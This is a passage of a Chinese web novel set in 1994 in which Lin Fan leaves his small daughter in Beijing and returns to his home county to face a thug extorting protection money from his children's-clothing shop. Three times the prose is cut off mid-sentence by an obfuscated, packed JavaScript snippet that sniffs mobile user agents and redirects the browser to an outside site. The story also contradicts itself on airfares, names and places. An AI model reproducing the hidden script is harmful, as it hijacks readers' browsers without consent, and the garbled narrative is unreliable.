一家一家谈价格、谈质量,光是车程就跑了上万公里,最后硬生生把进货成本压低了15%,靠着实打实的价格优势,在众多竞争对手中站稳了脚跟。 林凡看着苏瑾瑜的做法,心里也有了自己的想法:有些事,他必须自己去面对,才能真正了断—— 不然以后再有类似的麻烦,他还是要靠别人,永远无法真正挺直腰杆保护笑笑。 当晚,林凡把笑笑抱在怀里,坐在卧室的小沙发上。 卧室里的台灯是暖黄色的,灯罩是塑料材质的,上面印着淡淡的梅花图案,花瓣的纹路虽不精致,却透着一股质朴的可爱。 柔和的光线透过灯罩洒在笑笑的小脸上,能清晰地看见她睫毛上细细的小绒毛,像一把把小小的扇子,随着呼吸轻轻颤动。 笑笑穿着件粉色的纯棉睡衣,是秦淑慧特意去百货大楼买的,上面印着小兔子吃胡萝卜的图案,兔子的眼睛是用红色的线绣上去的,格外灵动。 睡衣的领口还缝着一颗小小的珍珠扣,圆润光滑,摸起来很舒服,笑笑的小胳膊紧紧搂着他的脖子,像只黏人的小树懒,小脑袋还时不时在他颈窝里蹭两下,带着淡淡的奶香味。 他轻轻摸着女儿柔软的头发,指尖能闻到洗发水淡淡的草莓香味—— 那是苏瑾瑜特意从涉外超市买的进口洗发水,在1994年,进口商品还很稀罕,一瓶洗发水就要二十多块,比国产的贵了好几倍。 这种洗发水泡沫细腻,洗完头发特别顺滑,还带着甜甜的果香,笑笑很喜欢用。林凡声音放得格外温柔,生怕吓着怀里的女儿: “笑笑,爸爸要回县城几天,去办点事。之前帮爸爸看店的王叔叔遇到点麻烦,爸爸得去帮他。你乖乖跟姥姥和太爷爷还有小舅舅待在家里,好不好?” 笑笑的小脑袋在他脸颊上蹭了蹭,声音软软的,像刚出炉的棉花糖,带着几分委屈: “爸爸要去多久呀? 笑笑会想爸爸的,晚上睡觉没人给我讲《小熊的故事》了,小舅讲故事总忘词,上次讲到小熊找蜂蜜,还没讲完就忘了接下来是什么了。” “很快就回来,最多两三天。” 林凡低头,在女儿光洁的额头上亲了一下,嘴唇碰到她软软的皮肤时,心里满是暖意,像揣了个小太阳。 “爸爸回来给你带县城里最好吃的糖葫芦——就是东门张大爷卖的那种,他每天下午三点准时推着自行车出来卖, 自行车的车把上挂着一个稻草扎的架子,架子上插满了红彤彤的糖葫芦,外面裹着一层晶莹的糖衣,还撒了芝麻,咬一口又脆又甜,比咱们在燕京百货大楼买的还好吃。 上次爸爸给你带过一次,你不是说特别喜欢吗?” 他顿了顿,想起笑笑之前的小调皮,忍不住叮嘱道: “你在家要听姥姥和太爷爷的话,不许调皮,比如不许把玩具小熊扔到鱼缸里,上次你把小熊扔进去,小熊的绒毛吸了水,沉在鱼缸底下, 差点把鱼缸里的小金鱼闷坏了,姥姥费了好大劲才把小熊捞出来,还把鱼缸里的水换了一遍,你忘了吗?” 笑笑用力点了点头,小脑袋像个拨浪鼓,小手紧紧揪着他的衬衫衣领,攥得指节都有些发白,小声说: “爸爸早点回来,笑笑会乖的,我还会帮姥姥浇院子里的月季花—— 姥姥说早上浇花最好,那时候太阳不晒,水不会烫着花根,浇完花,花儿长得更漂亮。我还会帮姥姥擦桌子,姥姥说我擦得可干净了。” 看着女儿天真无邪的脸庞,感受着怀里小小的、温热的身体,林凡的眼神瞬间变得无比坚定,像被淬了钢的刀刃,带着不容动摇的决心。 为了笑笑能有一个真正安宁、不用担惊受怕的成长环境,为了不让那些躲在阴沟里的人再打扰他们的生活,县城的那摊淤泥—— 黑皮的蛮横(去年黑皮就因为抢摊贩的钱,被派出所拘留过半个月,可出来后不仅没收敛,反而更嚣张了, 据说有个卖菜的大爷不肯交保护费,他直接把大爷的菜摊掀了,菜撒了一地,还动手打了大爷)、 钱老西的算计(听说钱老西最近在跟县城的建筑队勾结,想强占王猛媳妇看的那个铺子,那铺子地理位置好,靠近菜市场,人流量大, 钱老西早就惦记上了,还放话说“就算不择手段,也要把铺子弄到手”),他必须 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16739498|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回去,亲手廓清! 第二天一早,林凡揣着苏瑾瑜给的五十块钱现金—— 那是用牛皮纸信封包着的,里面的钱叠得整整齐齐,有十块、五块的,还有几张一块的零钱——去了燕京火车站附近的机票代售点。 1994年能坐飞机的人还不多,机票代售点也很少,整个燕京市区也就那么几家。 代售点的店面不大,门口挂着一块红色的招牌,上面写着“机票预订”四个大字。 店里只有两个客人,都穿着讲究的西装,一看就是做生意的老板。 墙上挂着大大的航班时刻表,是用硬纸板做的,上面用黑色的笔写着航班信息,热门航线还用红色记号笔标注了出来,格外显眼。 林凡走到柜台前,跟工作人员咨询了去省城的航班。 工作人员拿出一本厚厚的航班手册,翻了几页后告诉他,最早一班飞往省城的航班是早上七点半从燕京首都机场起飞,两个小时就能到省城,票价86块钱。 这个价格在当时可不便宜,要知道,从燕京坐长途汽车去省城,票价才二十七块钱,机票比汽车票贵了三倍多。 但林凡想着能节省不少时间,早点赶到县城帮王猛解决问题,还是毫不犹豫地买了票。 拿到机票时,他心里一阵感慨,这还是他第一次坐飞机,机票是淡蓝色的,上面印着航班信息和航空公司的logo,摸起来很有质感。 买完票后,他立刻去附近的公用电话亭给王猛打了个电话—— 94年,公用电话亭很常见,街头巷尾随处可见,大多是绿色的铁皮亭子,里面放着一部黑色的电话机,打电话按分钟收费,一分钟两毛钱。 王猛家没有电话,林凡只能打到他家隔壁的小卖部,让小卖部老板帮忙叫人。 电话响了几声后,传来了小卖部老板沙哑的声音,林凡说明情况后,老板答应帮忙去叫王猛,让他等一会儿。 大概过了十分钟,电话那头才传来王猛的声音,他的声音很沙哑,还带着几分疲惫,说这两天黑皮天天带着人来铺子门口转悠, 还砸坏了门口的招牌,招牌是用木头做的,上面写着“笑笑宝贝屋”,被他们砸得稀碎,还威胁说要是再不交保护费,就把铺子给掀了。 林凡听着心里一紧,连忙安慰他:“别担心,我明天中午就能到县城,你先别跟他们硬拼,保护好自己,等我回来一起想办法。” 挂了电话,林凡又去公用电话亭给苏瑾瑜打了个传呼,传呼机是苏瑾瑜之前给他的,方便联系。 他在传呼台留了条信息:“机票已买,明日中午抵县城,勿念。” 传呼台的工作人员态度很好,还重复了一遍信息,确认无误后才挂了电话。 没过多久,苏瑾瑜就回了传呼,信息很简单:“有事随时传我,已跟法务总监打过招呼,他的传呼24小时开机,有需要随时联系。” 夜深了,燕京的夜依旧宁静,没有白天的喧嚣。 苏家四合院里只有路边的路灯泛着柔和的光,路灯是老式的钠灯,发出的光带着淡淡的黄色,洒在青砖铺成的小路上,像铺了一层细碎的金子。 钠灯偶尔会发出“滋滋”的电流声,在安静的夜里格外清晰。 墙角的草丛里,有蟋蟀在轻轻鸣叫,声音细细的,像一场温柔的梦。 偶尔从院墙外传来几声汽车的鸣笛声,很快又恢复了平静。 林凡站在卧室的窗边,看着外面沉沉的夜色—— 远处的高楼亮着零星的灯光,像散落在黑丝绒上的星星。 那些高楼大多是最近两年新建的,是燕京刚开始发展的商品房,外墙还没来得及贴瓷砖,露出灰色的水泥面,在夜色中显得有些单调。 可他的心里却一点都不平静,像有一团火在熊熊燃烧,烧得他热血沸腾。 他的心,早已飞过了千里,飞回了那个看似微小、却牵着他的根基与尊严的县城。 那里有等着他的麻烦—— 黑皮那双打过人的拳头(上次黑皮因为一个摊贩不肯交保护费,就动手打了人,据说把人肋骨都打断了,最后还是摊贩家里人凑了钱赔偿,才把事情压下去)、 钱老西满是算计的眼神(钱老西总爱揣着个黄铜算盘,走到哪儿带到哪儿,说话时手指不停在算盘上拨弄,发出“噼里啪啦”的声音,让人看着就不舒服, 他还特别会算计,跟人做生意时,总想着占小便宜);有需要他保护的人—— 被刁难的王猛(王猛的妻子刚生了个儿子,家里正是需要用钱的时候,媳妇的菜铺子要是被钱老西强占了,一家人的生计就有了问题,王猛最近天天愁得睡不着觉)、 还有远在燕京的笑笑;更有他必须了断的过去——那些年被欺负、被算计、只能忍气吞声的日子, 比如有次他卖水果时,遇到城管来检查,城管不分青红皂白就没收了他的秤,那是他花了八十多块钱买的电子秤,是他谋生的工具,他想跟城管说理, 却被推搡到一边,最后只能蹲在路边哭,连个说理的地方都没有。 这一次,他不再是当初那个只能靠着小聪明和硬撑周旋的林凡。他的手里握着苏家的后盾,苏瑾瑜给的应急号码(法务总监承诺,只要涉及违法侵占,随时可以提供法律援助)、 秦淑慧的牵挂与支持(秦淑慧特意给他装了一书包的干粮,有真空包装的卤牛肉和全麦面包); 心里装着对女儿的牵挂—— 笑笑的笑脸、那句软软的“爸爸早点回来”; 更带着一份不容侵犯的决心——谁也不能伤害他的家人和朋友。 旧日的阴影, 该散了。 第100章:琉璃破碎 1994年深秋:四合院里的风波与远方 1994年11月的燕京,西四胡同口的烟火气裹着寒风吹得人心里发暖—— 张大爷那辆掉了漆的铁皮烤红薯车,已经在胡同口扎了十年根。 每天凌晨三点,他就蹲在煤炉前换蜂窝煤,要把挑拣出的黄心红薯在炉膛里焖足三小时,直到表皮烤得焦黑开裂, 掰开时金黄的薯瓤能拉出半寸长的丝,甜香能飘到胡同那头的公用电话亭。 街面上的自行车流像一条缓缓流动的铁灰色河,八成是28永久牌,车把上拴着白底黑字的牌照, 后座驮着的菜篮子里装着刚割的韭菜、裹着油纸的糖火烧,布口袋里塞着孩子的课本。 “叮铃铃”的车铃声混着腰间BP机的“滴滴”声—— 那时的BP机多是摩托罗拉数字机,要跑到胡同口的公用电话亭回电,一块钱三分钟—— 在青砖灰瓦的胡同里撞出细碎的响,偶尔还能听见修鞋匠的铜锤敲在鞋钉上的“当当”声。 有穿军绿色大衣的汉子骑着嘉陵70摩托经过,车后座绑着的“大哥大”裹在黑皮套里,足有两斤重, 引得路边攥着糖葫芦的孩子凑上前又不敢靠太近,睁着圆眼睛念叨:“这是能直接打电话的大哥大!” 苏家那座占了半条胡同的四合院,影壁墙上朱红漆刷的“福”字还是上礼拜秦淑慧亲手补的,边缘有点掉漆,却透着过日子的热乎气。 飞檐角挂着的银杏叶早没了汁水,风一吹就打着旋儿落在青瓦上,发出“沙沙”的轻响,墙角的青苔沾着晨露,潮乎乎的。 五岁的笑笑扎着粉绸带系的羊角辫,发梢还沾着点皂角香—— 那是秦淑慧早上用老皂角煮的水给她洗的头—— 手里举着块油纸包着的栗子糕,是秦淑慧六点就去胡同口“桂香斋”排的队。 “桂香斋”的木质招牌裂着细纹,排队的多是老街坊,秦淑慧排到第三时还跟前面的李婶唠了两句家常。 这栗子糕裹着一层绵白糖,咬一口能尝到整颗的栗子仁,颗粒分明还带着点温乎气。 笑笑扑到林凡跟前时,糖渣蹭在了他天蓝色的灯芯绒外套衣角上—— 这外套是笑笑大舅妈去上海参加纺织展会时买的,袖口有松紧,洗了三次都没起球。 “爸爸早点回”,软糯的声音裹着栗子香,黏在雕着缠枝莲的廊柱上—— 那廊柱上的莲花瓣还能摸到清晰的木纹—— 竟比檐角斜斜照进来的暖阳还暖几分。 院里的老海棠树得有上百年了,粗得要两个成年男人伸开胳膊才能勉强合抱,深褐色的树干上沟壑纵横,还留着几十年前孩子们刻的歪扭名字: “小明1985”“妞妞”,刻痕里积着点尘土。 这会儿叶子落得差不多了,光秃秃的枝桠像老人干枯的手,轻轻搭在青灰瓦上,风一吹就晃悠着碰出“嗒嗒”声。 树底下堆着没过脚踝的落叶,踩上去“沙沙”响,去年秋天,笑笑还拿着小铲子在这堆叶子里埋过她的粉色布娃娃—— 娃娃脸上缝着个红蝴蝶结,当时她特意挖了个小坑,还盖了片最大的海棠叶当“被子”,现在扒开落叶,还能看见一点粉色布料的边角。 林凡刚蹲下身,指尖捏着笑笑外套的领口往下理了理,就见岳母秦淑慧端着个紫砂杯从正房走出来。 那杯子是秦淑慧三年前从军部文职岗位退休时,老同事李大姐送的—— 当年秦淑慧在军部做文书,每天下班后都留半小时,帮李大姐整理战备物资台账,蓝色封皮的账本被她写得工工整整,连一个错字都没有。 李大姐过意不去,特意托人找宜兴老匠人定制了这杯子,杯身上阴刻的“松鹤延年”填了金粉,杯沿被秦淑慧摸了上千次,磨出一层琥珀色的温润包浆,平时她总用这杯子泡菊花茶,现在杯底还剩着一点茶叶梗。 “路上冷,我在灶上温了半小时的姜枣茶,你胃不好,别空腹赶车。” 秦淑慧的声音很轻,手指在杯壁上摩挲了两下—— 她指腹上还留着年轻时写钢笔字磨出的茧子,就在食指第一关节处,硬硬的。 眼神里藏着没说透的担心,却没敢多问一句—— 她这辈子在军部见多了风浪,年轻时处理过演习的物资调配,也见过战友受伤后的镇定,知道越慌越要沉住气。 昨晚她跟老伴苏振国聊天时,听收音机里说南方有些小城治安不稳,今早特意多煮了两个茶叶蛋,用铝饭盒装着,茶叶是去年的龙井,煮得蛋白上满是茶渍,喷香。 林凡接过杯子,指尖触到温热的杯壁,忽然就想起半小时前王猛打来的电话。 那是通过四合院门房老张头的座机接的—— 那部黑色的“飞跃”牌拨号电话放在门房的木桌上,电话线缠着三圈胶布,旁边还摆着个印着“劳动光荣”的搪瓷杯。 王猛的声音从电流里传过来,像被水泡过的砂纸,又哑又颤,还混着街边拖拉机的“突突”声: “林凡…… 你快回来…… 黑皮带了五六个人,手里拿着钢管,把宝贝屋的玻璃柜台全砸了—— 那柜台是咱俩去年一起做的,厚玻璃边角都磨圆了,怕划着孩子—— 你上次进的五十件童装,就是带刺绣小熊的那种,黄色小熊,纯棉料子,咱去省城批发市场砍了半天价才定下的,全被他们装在麻袋里拉走了,还说…… 还说你再不回来交‘保护费’,就把店给烧了!” 电话那头还能听到玻璃碎的“哗啦”声,混着王猛媳妇刘芳压抑的哭声—— 刘芳平时嗓门大,这会儿却不敢哭出声,怕被黑皮听见—— 还有个粗嗓子在喊“找苏家人也没用,这地盘我说了算”,那是黑皮的声音,洪亮得像炸雷。 王猛吓得赶紧“咔嗒”挂了电话,林凡当时攥着听筒的手都在抖,黑色的漆皮被他抠掉了一小块,露出里面银灰色的金属。 门房老张头在旁边听得脸色发白,想递杯热水安慰,又不知道说什么,只能搓着手叹气。 1994年的南方清和县,个体工商户刚兴起没几年。 据县工商局当年的手写统计报表显示—— 报表用复写纸一式两份,字迹还带着点洇墨—— 全县登记在册的个体户只有87家,大多是卖粮油、修家电的小店。 像“笑笑宝贝屋”这样卖童装和文具的,整个县城也就三四家。 店开在朝阳路中间,旁边是粮店和理发店,二十平米的小屋里,墙面刷着粉色漆,挂着卡通贴纸,玻璃柜台里摆着铅笔、橡皮和印着小熊的笔记本。 那年头个体户被地痞骚扰的事儿稀松平常,县工商局每月能接到两三起报案,大多是抢货、要保护费,可真能抓到人的不足10%—— 县城派出所就那么五六个**,挤在两层小楼里办公,只有两部电话、两张木桌,要管十几个乡镇的事,最远的乡镇骑车过去得两小时。 遇上黑皮这种“有关系”的混子,往往只能不了了之。 黑皮是清和县出了名的混子, 三十多岁没正经工作,据说跟派出所的副所长李建军是远房亲戚—— 李建军是他母亲的表弟。 之前有个开“乐乐玩具店”的赵老板,因为不肯每月交两百块保护费,被黑皮用木棍砸了店门,木门上砸出个碗大的洞。 赵老板报案后,最后只得了个“私下调解”的结果,黑皮就赔了五十块钱,还在派出所门口放话说“下次再敢告状,让你在县城待不下去”。 还有卖布匹的张大姐,她的“彩虹布行”在朝阳路尽头,去年冬天快过年时,被黑皮勒索了三百块—— 那本是她准备进新花布的钱,最后只能少进了半匹布,至今都不敢跟人提这事儿,怕再被报复。 林凡太知道王猛的性子了—— 老实巴交的,以前在国营纺织厂当搬运工时,连跟人吵个架都脸红。 有次被工友抢了先搬的棉纱,他也只敢躲在车间墙角抽烟,连句重话都不敢说。 这会儿店里出了这么大的事,准是被吓得连话都说不利索了。 “妈,您别跟老爷子和我爸说,也别让大哥二哥他们知道。” 林凡把紫砂杯揣进随身的军绿色挎包里——那包是岳父苏振国去年给他的,苏振国以前是副司令员,这包是他当连长时发的,肩带处缝着块蓝色补丁,边角都磨得发白。 上面还印着个褪色的五角星,他抬头看着秦淑慧,语气沉得像胡同里的青石板: “这事儿是我跟王猛的生意上的事,要是让我爸知道了,以他的脾气,保不齐要让部队的老部下去县城。 我爸当了一辈子军部高层,最见不得家人受委屈,当年晚晴在学校被同学欺负,他都要亲自去跟老师理论。 可越是这样,越容易让人借题发挥,说‘军人家属仗势欺人’,到时候动静太大,反而麻烦。” 秦淑慧点点头,她比谁都懂老伴的脾气。 她从斜挎的蓝布包里掏出五十块钱,塞进林凡手里—— 那钱是她这个月的退休金,她每月退休金才一百二十块,这五十块是多一半,叠得整整齐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16747783|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 齐,还带着体温,是十元一张的纸币,边角有点软。 “路上买瓶水、吃碗面,到了县城给家里打个电话,别让我们担心。”她塞钱时特意按了按林凡的手心,眼神里满是牵挂。 林凡应了声,转身想跟笑笑说再见,却见小姑娘正蹲在海棠树下,拿着根弯弯曲曲的海棠枝扒拉落叶。 她昨天还跟林凡说,要把好看的叶子夹在塑料皮的图画本里——那本子上印着小白兔,里面已经粘了几片枫叶和银杏叶。 “爸爸要去给笑笑买新画笔吗?上次说的红色的,画太阳的那种。” 笑笑嘴里念念有词,声音软得像棉花,小树枝还在落叶里拨来拨去,想找片最红的叶子。 林凡心里一酸,蹲下来摸了摸她的头—— 小姑娘的头发又软又顺,还带着皂角的清香味。 “对呀,爸爸去外地看看有没有好看的画笔,很快就回来。” 他没敢说真话,苏晚晴在上海同济医院做的调理,要是知道老家出了这事儿,准得急得睡不着觉,病情又要反复。 其实他也怕,黑皮既然敢提“苏家”,就说明对方可能已经打听出了他的家境。 可“笑笑宝贝屋”是他和王猛的心血—— 当初开这家店,所有的钱都是他从自己的积蓄里拿的,共八百块。 他在纺织厂纺纱车间当技术工,每月工资一百五十块,省吃俭用,每月只花五十块,攒了两年才攒下这笔钱,连苏晚晴都没舍得告诉,想给她个惊喜。 王猛是他原工厂的工友,两人一起在车间里熬了五年夜班,林凡知道王猛家里困难: 老母亲有风湿性的关节炎,每月吃药要花三十多块,妻子刘芳没工作,全靠王猛扛着。 所以林凡拉他入股,说是“人才入股”,其实就是想帮衬老兄弟—— 王猛会修小家电,店里的台灯、顾客拿来的收音机坏了,他都免费修,还常送孩子小橡皮。 去年春天开业那天,两人一起刷了粉色的墙,挂了串小红灯笼,王猛特意买了两挂一百响的鞭炮,“噼里啪啦”响了半天。 中午他们在店里吃泡面,是红烧牛肉面,当时没有桶装,就用搪瓷缸泡的,还加了个鸡蛋。 那天总共卖了五十块钱,是卖了两件童装:一件粉色小裙子,上面绣着小黄花;一件蓝色外套。 第一个顾客是个年轻妈妈,带个三岁的孩子,两人看着顾客抱着衣服离开,笑得一脸灿烂。 现在店被砸了,他不能不管。 收拾东西的时候,林凡特意把BP机揣在了口袋里—— 那是小舅子苏瑾瑜去年送他的,摩托罗拉的黑色机型,在1994年要一千二百块,算是稀罕物,整个西四胡同也就两三个人有。 BP机的号码是126-87654321,他平时放在腰上的皮套里,怕磕着。 苏瑾瑜是苏家集团的董事长,才三十岁就把家电和建材生意做得风生水起,集团有三个家电卖场、两个建材市场,员工两百多人。 去年去接林凡和笑笑时,苏瑾瑜就跟他说“要是生意上有难处,随时找我”,可林凡不想麻烦他。 之前有一次,林凡进的童装在路上被耽误了——货运车坏在半路,耽误了三天—— 苏瑾瑜知道后,想找朋友的货运公司帮忙,林凡却拒绝了。 他自己找了个三轮车,花了二十块,硬生生把货拉了回来。 他觉得做生意要靠自己,总麻烦小舅子,心里不踏实。 而且小舅子的手段硬,要是让他插手,指不定会用断黑皮货源、找关系施压的办法,反而会让黑皮报复更狠,事情闹得更复杂。 他只往包里塞了两件换洗衣物:一件蓝色的工装,是纺织厂的工作服,袖口磨出了点毛边;一件灰色的毛衣,是秦淑慧去年冬天织的,领口有点松,洗得发白。 又把身份证和钱包仔细收好——身份证是1965年的,照片上他留着短发,眼神清亮; 钱包是人造革的,边角有点裂。 钱包里还夹着一张“笑笑宝贝屋”的照片,是去年春天用傻瓜相机拍的,柯达胶卷洗出来的,边缘有点卷。 照片里,王猛刚剪了短发,穿着蓝色格子衬衫;林凡穿着蓝色工装,两人手里各举着一件刚进的童装—— 就是那件粉色小裙子,上面绣着小黄花。背景里,邻居家的妞妞扎着羊角辫,正趴在柜台上看卡通笔记本,阳光照在玻璃门上,亮得晃眼,还反射出一圈光晕。 林凡平时总把这张照片拿出来看,现在摸着照片,心里更定了:不管多难,都得把店救回来。 第101章:孤身入局 1994年冬月的燕京城,晨雾像掺了煤灰的纱,裹着苏家大院的青砖黛瓦迟迟不散。 林凡攥紧帆布包带,指尖蹭过包角磨出的毛边—— 里面装着笑笑的换洗衣物,还有他熬夜拟的店铺进货单。 石凳上凝着薄霜,是昨夜降温留下的痕迹; 正房窗棂后,退休的苏定方老太爷该在翻那叠印着“内部参阅”的老报纸,而岳父苏振邦,这位军部高层的声音或许刚从电话里落下,内容或许关乎某支部队的冬装调配。 这是个咳嗽声都能让半个军政圈侧耳的家庭,可此刻,他林凡连跟书房里议事的苏瑾华、苏瑾国打声招呼都不敢—— 一场针对他的浑水已漫到脚边,他怕牵连任何人。 指尖摸到衣领上那枚草莓塑料发卡,是今早笑笑踮着脚别上的,奶声奶气说 “爸爸戴着,就像我陪着你”, 他赶紧塞进内袋,贴在左胸,那点塑料的温热,成了此刻唯一的支撑。 转身踏出院门时,雾汽钻进衣领,冷得他打了个寒颤。 1994年的中国,坐飞机仍是件能让街坊议论半周的奢侈事。 据当年民航总局数据,全国民航客运量仅5500万人次,人均乘机次数不足0.04次,一张从燕京飞往省城的机票,票价高达980元—— 这相当于普通工厂工人两个月的工资(当时国营厂月薪普遍在380-450元)。 林凡坐在机舱里,座椅扶手上的塑料膜还泛着新出厂的光泽,他却没心思感受这份“奢侈”。 舷窗外,燕京城的轮廓渐渐缩成棋盘,二环路上的自行车流像细线,他下意识摸向口袋,那张折叠整齐的纸条硌着指尖,上面是小舅子(笑笑的小舅)苏瑾瑜的私人号码。 苏瑾瑜在燕京商界是个传奇。 32岁的他三年前接下濒临破产的燕京城西旧机床厂,没靠苏家半点关系,硬是靠引进德国设备、接外贸订单; 把一个亏损百万的老厂做成了年盈利三千万的精密零件供应商,连南方的外资汽车厂都来抢货。 给林凡递纸条时,苏瑾瑜正坐在他那间摆着进口真皮沙发的办公室里,手里转着大哥大,语气轻得像说“今晚吃炸酱面”: “遇到迈不过的坎再打,这号平时不接生客,你报我名字就行。” 林凡懂这分量—— 苏瑾瑜的人脉网连省城的海关关长都要给几分薄面,这纸条不是普通的“帮忙”,是苏家给他留的最后一道屏障。 可他心里憋着股劲: 从跟苏晚晴结婚到开“笑笑宝贝屋”,他没沾过苏家半点光,店铺的第一笔启动资金是他的前生的记忆力靠彩票发的起家。 货是他坐着绿皮火车去南方厂家谈的,他想靠自己给笑笑挣个安稳,这张底牌,他盼着永远用不上。 飞机穿过云层时,机身轻微颠簸了一下。 林凡望着下方翻滚的云海,突然想起去年带笑笑去公园,孩子指着天上的飞机说“爸爸,飞机能载我们去很远的地方吗”; 他当时笑着说“等爸爸把店开好,就带你去看大海”。 现在,大海没看成,他倒要先去闯一场浑水。指尖反复摩挲着纸条边缘,把纸角都蹭得发毛。 从省城机场出来,林凡转乘长途大巴去县城。 大巴是那种绿白相间的旧车,车身上印着“省城-青石县”的字样,车门一打开, 一股混合着汽油味、汗味和方便面味的气息扑面而来。 他找了个靠窗的位置坐下,刚把包放在腿上,卖票的大姐就扯着嗓子喊: “最后一排的同志,往里挤挤!还有三个空位!” 车开起来后,窗外的景致慢慢变了。 省城的高楼渐渐被两层高的红砖房取代,柏油路也变成了坑坑洼洼的土路,车一颠,座位底下的矿泉水瓶就“哐当哐当”响。 林凡扒着车窗往外看,路两边的白杨树叶子早就落光了,光秃秃的枝桠像瘦骨嶙峋的手,抓着铅灰色的天。 天越来越沉,云厚得像浸了脏水的棉絮,压得人喘不过气。 大巴驶进青石县地界时,路边出现了越来越多的煤堆。 有的煤堆用塑料布盖着,风一吹就露出黑黢黢的煤块;有的直接堆在路边,过往车辆溅起的泥水混着煤渣,把路面染成了黑褐色。 空气里飘着一股呛人的煤尘味,还夹杂着远处小化肥厂飘来的硫磺味,林凡忍不住咳嗽了两声。 他早听说过青石县的情况。这是座典型的资源型县城,靠煤矿吃饭,90年代初煤矿红火时,县城里的工人月薪能拿到600多,比省城还高; 可从1993年开始,国家调整能源政策,小煤窑关停了一半,县里的煤矿产值骤降40%,据县统计局数据,1994年青石县的失业率达到了5.8%,是全国平均失业率(2.8%)的两倍。 大量矿工没了活干,有的去南方打工,有的就留在县里,成了闲散人员—— 这也给黑皮这类人提供了“土壤”。 车在一个岔路口停下时,林凡看到路边蹲着几个年轻人,穿着破旧的夹克,手里夹着烟,眼神直勾勾地盯着大巴。 其中一个人胳膊上纹着青龙,林凡心里一紧—— 这打扮,跟王猛电话里描述的“黑皮的人”一模一样。 他赶紧低下头,假装整理包带,直到大巴重新启动,把那几个人甩在后面,才松了口气。 下午两点多,大巴终于到了青石县汽车站。 林凡没敢直接去“笑笑宝贝屋”,而是按照王猛说的路线,绕了两条窄街。 这两条街全是低矮的平房,墙面上布满了煤渣留下的黑印,有的窗户钉着木板,有的门口堆着废弃的煤筐。路边的排水沟里淌着黑色的污水,散发出刺鼻的臭味。 他找到张婶远房亲戚家的平房时,心里还是咯噔了一下。 矮墙塌了一角,露出里面的黄土; 院里的柴火堆半枯着,上面压着几张旧报纸,报纸上的日期还是半年前的; 房门上的铜锁锈得不成样子,绿锈厚得能刮下来,锁孔里塞着几根枯草。 林凡从口袋里掏出王猛给的钥匙,**锁孔,转了好几下才打开,“吱呀——” 一声锐响,在午后寂静的巷子里炸开,吓得他赶紧回头看。 巷子里空荡荡的,只有一只老母鸡在垃圾堆里啄食,见他看过来,扑腾着翅膀跑了。 推开门,一股霉味扑面而来。屋里没什么家具,只有一张破旧的木板床,一个掉漆的木箱,还有一张缺了腿的桌子,用几块砖头垫着。 墙角结着蜘蛛网,地上铺着的水泥地裂了好几道缝,缝里长着青苔。 林凡把包放在木箱上,刚想坐下歇口气,里屋就传来了脚步声——是王猛。 王猛冲出来的时候,林凡差点没认出他。 这个平日里总爱咧嘴笑的南方汉子,此刻眼眶红得像兔子,脸上还有几道黑印,不知道是煤渣还是灰尘。 他穿的旧夹克上沾着泥点,左胸口还有一块深色的印记,像是干涸的血迹。他的头发乱得像鸡窝,手里攥着一个皱巴巴的烟盒,烟盒里只剩一根烟。 “凡子!你可算回来了!” 王猛一把抓住林凡的胳膊,他的手太用力,林凡能感觉到他指关节的凸起,还有手掌上的老茧——那是以前在货场搬货留下的。 王猛的声音发颤,带着哭腔,“他们……他们今天上午又来了!” 林凡让他先坐下,给他倒了杯凉水。王猛喝了口水,情绪才稍微稳定了点,可一开口,还是忍不住激动: “今天早上七点多,我刚到店门口,就看见黑皮带着三个人站在那儿。 他们手里拿着钢管,二话不说就踹卷帘门,‘咚咚咚’的,跟打雷似的,整条街都能听见! 我想上去拦,被其中一个人推了一把,摔在地上,膝盖都磕破了(他撩起裤腿,膝盖上果然有块淤青)。” “然后呢?”林凡的手指攥紧了,指节泛白。 “然后他们就拿红漆在墙上写‘欠债还钱’!” 王猛的声音提高了八度, “那红漆是桶装的,他们直接泼在墙上,用刷子写,字写得歪歪扭扭,跟蜈蚣似的,看着就吓人! 街坊们都扒着门缝看,李大爷想出来说句‘有话好好说’,被他老婆拉回去了,还说‘别管闲事,黑皮他们惹不起’!” 林凡顺着王猛指的方向看向窗外,远处的街道上有几个人影,都是低着头快步走,没人敢往“笑笑宝贝屋”的方向看。 他深吸了一口屋里的霉味,压下心头的怒火——他知道黑皮嚣张,可没想到这么明目张胆。 “店里的货呢?” 林凡突然想起最重要的事。 “转了转了!” 王猛赶紧点头,脸上露出一丝庆幸, “我昨天后半夜,趁着月亮地,跟张婶她儿子一起搬的。 我们租的仓库在城郊的旧粮站,那地方偏,没人去。 我们用张婶家的三轮车,拉了三趟,凌晨三点才搬完。 现在仓库锁得严严实实,钥匙我藏在鞋底了(他把脚抬起来,鞋底果然有个小兜,里面塞着一把铜钥匙)。” “那就好。” 林 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 